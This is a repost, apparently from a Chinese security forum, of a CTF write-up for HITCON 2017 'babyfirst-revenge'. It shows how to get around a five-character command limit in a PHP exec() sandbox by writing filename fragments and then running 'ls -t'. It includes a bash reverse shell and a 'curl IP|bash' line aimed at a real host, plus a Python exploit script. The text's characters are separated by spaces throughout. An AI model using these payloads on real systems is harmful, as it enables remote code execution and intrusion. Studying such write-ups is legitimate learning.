搜索

[21095] 2020-06-21_从一道ctf题目学到的绕过长度执行命令姿势

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2020-06-21_从一道ctf题目学到的绕过长度执行命令姿势 从 一 道 c t f 题 目 学 到 的 绕 过 长 度 执 行 命 令 姿 势 L e m o n S e c   2 0 2 0 - 0 6 - 2 1 0 x 0 1 ： l i n u x 中 的   >   符 号 和   > >   符 号 1 . 通 过 > 来 创 建 文 件 2 . 通 过 > 将 命 令 执 行 的 结 果 存 入 文 件 中 但 是 通 过 > 来 将 命 令 执 行 结 果 写 入 文 件 会 覆 盖 掉 文 件 原 本 的 内 容 ， 如 果 我 们 想 要 在 原 本 文 件 内 容 后 面 追 加 内 容 就 要 使 用 > > 0 x 0 2 ： l i n u x 中 命 令 换 行 在 l i n u x 中 ， 当 我 们 执 行 文 件 中 的 命 令 的 时 候 ， 我 们 通 过 在 没 有 写 完 的 命 令 后 面 加   " " ， 可 以 将 一 条 命 令 写 在 多 行 比 如 我 们 有 一 个 t e s t 文 件 内 容 如 下 ： 然 后 我 们 用 s h 命 令 来 执 行 一 下 ： 成 功 输 出 了   h e l l o   w o r l d ! > t e s t . t x t l s e c h o   " h e l l o   w o r l d " > t e s t e c h o   " a a a " > t e s t c a t   t e s t e c h o   " b b b " > > t e s t c a t   t e s t e c h o   h e l l o   w o r l d ! s h   t e s t
0 x 0 3 ： l s   - t 命 令 在 l i n u x 中 ， 我 们 使 用 l s   - t 命 令 后 ， 可 以 将 文 件 名 按 照 时 间 顺 序 排 列 出 来 （ 后 创 建 的 排 在 前 面 ） 0 x 0 4 ： 利 用 l s   - t   和   >   以 及 换 行 符   绕 过 长 度 限 制 执 行 命 令 我 们 先 看 执 行 如 下 命 令 的 结 果 ： l s   - t   命 令 列 出 文 件 名 ， 然 后 每 个 文 件 名 按 行 储 存 ， 如 果 我 们 将 我 们 要 执 行 的 命 令 拆 分 为 多 个 文 件 名 ， 然 后 再 结 合 命 令 换 行 ， 然 后 通 过   l s   - t   >   t e s t 这 样 的 方 式 再 写 入 某 个 文 件 来 运 行 不 就 可 以 绕 过 命 令 长 度 限 制 了 吗 ， 而 且 从 上 面 我 们 可 以 看 出 ， l s   - t > t e s t 的 执 行 顺 序 是 先 创 建 文 件 t e s t ， 然 后 执 行 l s   - t ， 然 后 将 执 行 结 果 写 入 t e s t 文 件 我 们 可 以 做 如 下 小 实 验 ： 比 如 我 们 要 执 行   e c h o   h e l l o   w o r l d 我 们 可 以 看 到 ， 因 为 我 们 最 后 创 建 的 文 件   " _ " 的 文 件 名 会 输 入 到 文 件 中 导 致 一 个 错 误 信 息 ， 但 是 并 不 影 响 我 们 下 面 命 令 的 执 行 ， 最 终 成 功 的 输 出 了   " h e l l o   w o r l d " 这 里 使 用 了 两 个     是 因 为 我 们 需 要 转 义 掉 多 行 命 令 的 换 行 ， 如 果 我 们 只 使 用 一 个     那 么 就 会 被 误 解 为 正 在 多 行 执 行 命 令 ， 就 会 出 现 下 面 这 种 情 况 t o u c h   a t o u c h   b t o u c h   c l s   - t l s   - t > t e s t c a t   t e s t >   " r l d " >   " w o " >   " l l o   " >   " h e " >   " e c h o   " l s   - t   >   _ s h   _ e c h o   h e l l o   w o r l d
0 x 0 5 ： h i t c o n   2 0 1 7   b a b y f i r s t - r e v e n g e 这 道 c t f 题 目 考 的 就 是 绕 过 长 度 限 制 执 行 命 令 既 然 可 以 执 行 命 令 ， 那 么 我 们 首 先 想 到 的 是 反 弹 一 个 s h e l l 回 来 b a s h 反 弹 s h e l l 的 命 令 如 下 ： 空 格 需 要 转 义 构 造 空 格 就 用 去 了 五 个 字 符 ， 我 们 的 语 句 里 面 有 两 个 空 格 ， 而 相 同 的 文 件 名 只 能 有 一 个 ， 因 此 这 里 不 能 直 接 执 行 b a s h 反 弹 s h e l l 那 么 通 过 将 反 弹 语 句 放 在 v p s 上 ， 然 后 通 过 如 下 方 式 来 执 行 ： 我 们 先 在 自 己 的 v p s 新 建 一 个 文 件 ， 内 容 为 然 后 在 v p s 上 面 监 听 7 7 7 7 端 口 因 为 l s   - t > _ 的 长 度 也 大 于 5 ， 所 以 要 要 把 l s   - t > y 写 入 文 件 l s 命 令 排 序 的 规 则 是 空 格 和 符 号 最 前 ， 数 字 其 次 ， 字 母 最 后 h e l l o   w o r l d < ? p h p         e r r o r _ r e p o r t i n g ( E _ A L L ) ;         $ s a n d b o x   =   ' / v a r / w w w / h t m l / s a n d b o x / ' . m d 5 ( " o r a n g e " . $ _ S E R V E R [ ' R E M O T E _ A D D R ' ] ) ;         m k d i r ( $ s a n d b o x ) ;         c h d i r ( $ s a n d b o x ) ;         i f   ( i s s e t ( $ _ G E T [ ' c m d ' ] )   & &   s t r l e n ( $ _ G E T [ ' c m d ' ] )   < =   5 )   {                 e x e c ( $ _ G E T [ ' c m d ' ] ) ;         }   e l s e   i f   ( i s s e t ( $ _ G E T [ ' r e s e t ' ] ) )   {                 e x e c ( ' / b i n / r m   - r f   '   .   $ s a n d b o x ) ;         }         h i g h l i g h t _ f i l e ( _ _ F I L E _ _ ) ; b a s h   - i   > &   / d e v / t c p / v p s 的 i p / 监 听 的 端 口   0 > & 1 >   c u r l   i p 地 址 | b a s h b a s h   - i   > &   / d e v / t c p / 1 2 0 . 7 9 . 3 3 . 2 5 3 / 7 7 7 7   0 > & 1 n c   - l v   7 7 7 7 > l s l s > _ >   > - t > > y l s > > _
然 后 运 行 生 成 文 件 y 再 执 行 最 后 贴 一 下 我 的 p y 脚 本 那 么 我 们 再 构 造 c u r l   1 2 0 . 7 9 . 3 3 . 2 5 3 | b a s h > b a s h > | > 5 3 > 2 > 3 . > 3 > 9 . > 7 > 0 . > 1 2 >   > r l > c u s h   _ s h   y # e n c o d i n g : u t f - 8 i m p o r t   r e q u e s t s b a s e u r l   =   " h t t p : / / 1 2 0 . 7 9 . 3 3 . 2 5 3 : 9 0 0 3 / ? c m d = " r e s e t   =   " h t t p : / / 1 2 0 . 7 9 . 3 3 . 2 5 3 : 9 0 0 3 / ? r e s e t " s   =   r e q u e s t s . s e s s i o n ( ) s . g e t ( r e s e t ) #   将 l s   - t   写 入 文 件 _ l i s t = [         " > l s " ,         " l s > _ " ,         " >   " ,         " > - t " ,         " > > y " ,         " l s > > _ " ]
成 功 拿 到 s h e l l 自 搭 测 试 地 址 ： h t t p : / / 1 2 0 . 7 9 . 3 3 . 2 5 3 : 9 0 0 3 想 要 复 现 一 波 的 大 佬 可 以 复 现 一 下 ， 但 请 不 要 破 坏 环 境 如 有 错 误 ， 还 望 各 位 大 佬 指 出 #   c u r l   1 2 0 . 7 9 . 3 3 . 2 5 3 | b a s h l i s t 2 = [         " > b a s h " ,         " > | " ,         " > 5 3 " ,         " > 2 " ,         " > 3 . " ,         " > 3 " ,         " > 9 . " ,         " > 7 " ,         " > 0 . " ,         " > 1 2 " ,         " >   " ,         " > r l " ,         " > c u " ] f o r   i   i n   l i s t :         u r l   =   b a s e u r l + s t r ( i )         s . g e t ( u r l ) f o r   j   i n   l i s t 2 :         u r l   =   b a s e u r l + s t r ( j )         s . g e t ( u r l ) s . g e t ( b a s e u r l + " s h   _ " ) s . g e t ( b a s e u r l + " s h   y " ) # s . g e t ( r e s e t ) 文 章 作 者 ： D r a c 文 章 来 源 ： 先 知 社 区 ： h t t p s : / / x z . a l i y u n . c o m / t / 2 7 4 8 文 章 参 考 ： h t t p s : / / b l o g . c s d n . n e t / c a l m e g m / a r t i c l e / d e t a i l s / 8 0 8 7 4 9 0 2 h t t p s : / / w w w . l e a v e s o n g s . c o m / S H A R E / s o m e - t r i c k s - f r o m - m y - s e c r e t - g r o u p . h t m l h t t p s : / / b l o g . c s d n . n e t / c a l m e g m / a r t i c l e / d e t a i l s / 8 0 8 7 4 9 0 2
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理